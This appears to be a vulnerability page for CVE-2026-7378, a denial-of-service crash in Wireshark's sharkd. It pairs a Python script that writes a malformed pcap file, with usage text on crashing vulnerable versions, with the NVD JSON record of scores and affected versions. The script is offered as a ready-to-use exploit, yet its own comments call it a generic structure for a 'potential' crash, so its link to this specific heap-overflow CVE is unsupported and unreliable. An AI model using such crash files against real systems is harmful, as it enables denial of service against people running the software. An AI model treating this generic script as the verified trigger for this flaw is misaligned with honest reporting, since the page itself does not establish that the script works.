CVE-2026-7378

import struct def generate_malformed_pcap(filename): # Generate a malformed pcap file header to trigger potential parsing crash # Global Header: Magic Number (4 bytes), Version (2 bytes), ... magic_number = 0xa1b2c3d4 version_major = 2 version_minor = 4 thiszone = 0 sigfigs = 0 snaplen = 65535 network = 1 # Ethernet # Intentionally corrupting the header or packet data to cause crash # This is a generic PoC structure for a crash vulnerability with open(filename, 'wb') as f: # Write standard header f.write(struct.pack('<IHHIIII', magic_number, version_major, version_minor, thiszone, sigfigs, snaplen, network)) # Write a packet header with invalid length to trigger buffer over-read or overflow ts_sec = 1234567890 ts_usec = 0 incl_len = 0xFFFFFFFF # Extremely large packet length orig_len = 0xFFFFFFFF f.write(struct.pack('<IIII', ts_sec, ts_usec, incl_len, orig_len)) # Write dummy packet data (incomplete) f.write(b'\x00' * 100) print(f"[+] Malformed pcap file generated: {filename}") print("[+] Usage: Open this file with Wireshark/sharkd vulnerable version to trigger DoS.") if __name__ == "__main__": generate_malformed_pcap("crash_dos.pcap")

{"cve": {"id": "CVE-2026-7378", "sourceIdentifier": "[email protected]", "published": "2026-04-30T06:16:17.183", "lastModified": "2026-05-01T18:55:20.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crash in sharkd 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.15", "matchCriteriaId": "8EAFFA8A-B5D8-4784-851E-E1B682871495"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.5", "matchCriteriaId": "1D804272-AD4D-4454-9629-1BBAA825D7C4"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21207", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-49.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}